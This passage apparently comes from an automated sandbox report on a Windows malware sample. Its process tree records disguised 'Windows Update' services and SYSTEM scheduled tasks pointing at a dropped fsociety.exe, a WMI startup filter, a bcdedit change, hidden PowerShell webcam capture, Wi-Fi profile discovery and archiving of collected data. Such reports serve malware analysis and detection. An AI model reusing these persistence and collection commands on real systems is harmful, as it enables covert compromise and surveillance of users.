  PID:3208
- - C:\Windows\system32\sc.exe
    sc config SystemUpdate start= system
    3⤵
    PID:3300
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
  2⤵
  PID:4336
- - C:\Windows\system32\sc.exe
    sc config SystemUpdate obj= LocalSystem
    3⤵
    PID:2520
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start SystemUpdate >nul 2>&1
  2⤵
  PID:3036
- - C:\Windows\system32\sc.exe
    sc start SystemUpdate
    3⤵
    PID:2100
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
  2⤵
  PID:2212
- - C:\Windows\system32\sc.exe
    sc stop WinUpdateSvc
    3⤵
    PID:3188
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
  2⤵
  PID:3744
- - C:\Windows\system32\sc.exe
    sc delete WinUpdateSvc
    3⤵
    - Launches sc.exe
    PID:5736
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
  2⤵
  PID:444
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2524
- - C:\Windows\system32\sc.exe
    sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
    3⤵
    PID:4164
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
  2⤵
  PID:3172
- - C:\Windows\system32\sc.exe
    sc config WinUpdateSvc start= auto
    3⤵
    PID:3368
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
  2⤵
  PID:1800
- - C:\Windows\system32\sc.exe
    sc config WinUpdateSvc obj= LocalSystem
    3⤵
    PID:2992
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start WinUpdateSvc >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4484
- - C:\Windows\system32\sc.exe
    sc start WinUpdateSvc
    3⤵
    PID:2224
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:2720
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5628
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:5252
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2468
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:400
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5088
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:2504
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2380
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /run /tn "WindowsUpdate" >nul 2>&1
  2⤵
  PID:5948
- - C:\Windows\system32\schtasks.exe
    schtasks /run /tn "WindowsUpdate"
    3⤵
    PID:6420
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup" >nul 2>&1
  2⤵
  PID:6980
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup"
    3⤵
    PID:2152
- C:\Windows\system32\cmd.exe
  cmd.exe /c bcdedit /set {current} bootmenupolicy legacy >nul 2>&1
  2⤵
  PID:4056
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {current} bootmenupolicy legacy
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:6204
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:6968
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:6928
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:7032
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:6180
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:5088
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:7652
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:7172
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:6552
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:2616
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:6648
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:3948
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:7776
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:7312
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:6720
- C:\Windows\system32\cmd.exe
  cmd.exe /c powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240705609.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240705609.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
  2⤵
  PID:6568
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240705609.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240705609.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh wlan show profile
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:7864
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:6556
- C:\Windows\system32\cmd.exe
  cmd.exe /c powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data_240704390\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data.zip' -Force"
  2⤵
  PID:7004
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data_240704390\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data.zip' -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:440

C:\Users\Admin\AppData\Local\Temp\386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
C:\Users\Admin\AppData\Local\Temp\386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
1⤵
- Modifies WinLogon for persistence
- Event Triggered Execution: Image File Execution Options Injection
- Modifies WinLogon
- Drops file in System32 directory
- Drops file in Windows directory
PID:1812
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop WindowsUpdate >nul 2>&1
  2⤵
  PID:880
- - C:\Windows\system32\sc.exe
    sc stop WindowsUpdate
    3⤵
    - Launches sc.exe
    PID:5768
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc delete WindowsUpdate >nul 2>&1
  2⤵
  PID:3024
- - C:\Windows\system32\sc.exe
    sc delete WindowsUpdate
    3⤵
    PID:5788
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1176
- - C:\Windows\system32\sc.exe
    sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
    3⤵
    PID:2516
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3240
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate start= boot
    3⤵
    PID:4236
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3028
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate type= own
    3⤵
    PID:5248
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
  2⤵
  PID:5240
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate obj= LocalSystem
    3⤵
    PID:5556
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
  2⤵
  PID:5296
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate error= ignore
    3⤵
    PID:5324
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
  2⤵
  PID:3464
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
    3⤵
    PID:3176
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
  2⤵
  PID:5828
- - C:\Windows\system32\sc.exe
    sc description WindowsUpdate "Provides Windows system updates"
    3⤵
    - Launches sc.exe
    PID:3476
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start WindowsUpdate >nul 2>&1
  2⤵
  PID:1688
- - C:\Windows\system32\sc.exe
    sc start WindowsUpdate
    3⤵
    PID:4508
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop SystemUpdate >nul 2>&1
  2⤵
  PID:2296
- - C:\Windows\system32\sc.exe
    sc stop SystemUpdate
    3⤵
    - Launches sc.exe
    PID:3484
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc delete SystemUpdate >nul 2>&1
  2⤵
  PID:4872
- - C:\Windows\system32\sc.exe
    sc delete SystemUpdate
    3⤵
    PID:5944
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
  2⤵
  PID:5972
- - C:\Windows\system32\sc.exe
    sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
    3⤵
    PID:5708
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
  2⤵
  PID:4548
- - C:\Windows\system32\sc.exe
    sc config SystemUpdate start= system
    3⤵
    PID:5960
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
  2⤵
  PID:2716
- - C:\Windows\system32\sc.exe
    sc config SystemUpdate obj= LocalSystem
    3⤵
    - Launches sc.exe
    PID:1668
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start SystemUpdate >nul 2>&1
  2⤵
  PID:5328
- - C:\Windows\system32\sc.exe
    sc start SystemUpdate
    3⤵
    PID:3984
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
  2⤵
  PID:3700
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:752
- - C:\Windows\system32\sc.exe
    sc stop WinUpdateSvc
    3⤵
    PID:2156
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
  2⤵
  PID:5752
- - C:\Windows\system32\sc.exe
    sc delete WinUpdateSvc
    3⤵
    PID:5708
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
  2⤵
  PID:4508
- - C:\Windows\system32\sc.exe
    sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
    3⤵
    - Launches sc.exe
    PID:4068
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
  2⤵
  PID:1560
- - C:\Windows\system32\sc.exe
    sc config WinUpdateSvc start= auto
    3⤵
    PID:2264
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2260
- - C:\Windows\system32\sc.exe
    sc config WinUpdateSvc obj= LocalSystem
    3⤵
    PID:2520
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start WinUpdateSvc >nul 2>&1
  2⤵
  PID:4988
- - C:\Windows\system32\sc.exe
    sc start WinUpdateSvc
    3⤵
    - Launches sc.exe
    PID:4164
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:4164
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1928
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:2312
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5904
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:1776
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5344
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:3288
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3176
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /run /tn "WindowsUpdate" >nul 2>&1
  2⤵
  PID:4480
- - C:\Windows\system32\schtasks.exe
    schtasks /run /tn "WindowsUpdate"
    3⤵
    PID:1032
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup" >nul 2>&1
  2⤵
  PID:2380
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup"
    3⤵
    PID:6580
- C:\Windows\system32\cmd.exe
  cmd.exe /c bcdedit /set {current} bootmenupolicy legacy >nul 2>&1
  2⤵
  PID:7060
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {current} bootmenupolicy legacy
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5664
- C:\Windows\system32\cmd.exe
  cmd.exe /c powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240700890.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240700890.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
  2⤵
  PID:6912
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240700890.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240700890.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6308
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:6940
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:6152
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:6724
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:7464
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:7992
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:1004
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:8132
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:7496
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:7208
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:7296
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      Launches sc.exe
      PID:2416
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:7204
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:7008
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:1332
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:7724
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:7616
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:6888
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:7076
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5384
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh wlan show profile
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:7908
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:6324
- C:\Windows\system32\cmd.exe
  cmd.exe /c powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data_240700109\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data.zip' -Force"
  2⤵
  PID:4024
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data_240700109\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data.zip' -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:7520

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
PID:1676
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:2192
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:5640
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:5800
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:4368
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:4380
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:3064
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      Launches sc.exe
      PID:2524
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:5272
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      Launches sc.exe
      PID:5792
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:2012
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:912
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:4920
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:3672
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:5268
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:1644
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:340
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      Launches sc.exe
      PID:1240
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:4240
  - - C:\Windows\system32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      PID:1548
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    PID:4972
  - - C:\Windows\system32\sc.exe
      sc start WindowsUpdate
      4⤵
      PID:5800
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop SystemUpdate >nul 2>&1
    3⤵
    PID:5844
  - - C:\Windows\system32\sc.exe
      sc stop SystemUpdate
      4⤵
      PID:3532
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete SystemUpdate >nul 2>&1
    3⤵
    PID:4736
  - - C:\Windows\system32\sc.exe
      sc delete SystemUpdate
      4⤵
      PID:5868
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:4140
  - - C:\Windows\system32\sc.exe
      sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
      4⤵
      PID:2060
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
    3⤵
    PID:4932
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate start= system
      4⤵
      PID:3176
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:2016
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate obj= LocalSystem
      4⤵
      PID:700
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start SystemUpdate >nul 2>&1
    3⤵
    PID:2904
  - - C:\Windows\system32\sc.exe
      sc start SystemUpdate
      4⤵
      PID:916
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
    3⤵
    PID:2600
  - - C:\Windows\system32\sc.exe
      sc stop WinUpdateSvc
      4⤵
      PID:4468
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
    3⤵
    PID:5612
  - - C:\Windows\system32\sc.exe
      sc delete WinUpdateSvc
      4⤵
      PID:1772
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
    3⤵
    PID:6372
  - - C:\Windows\system32\sc.exe
      sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
      4⤵
      PID:6808
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
    3⤵
    PID:5544
  - - C:\Windows\system32\sc.exe
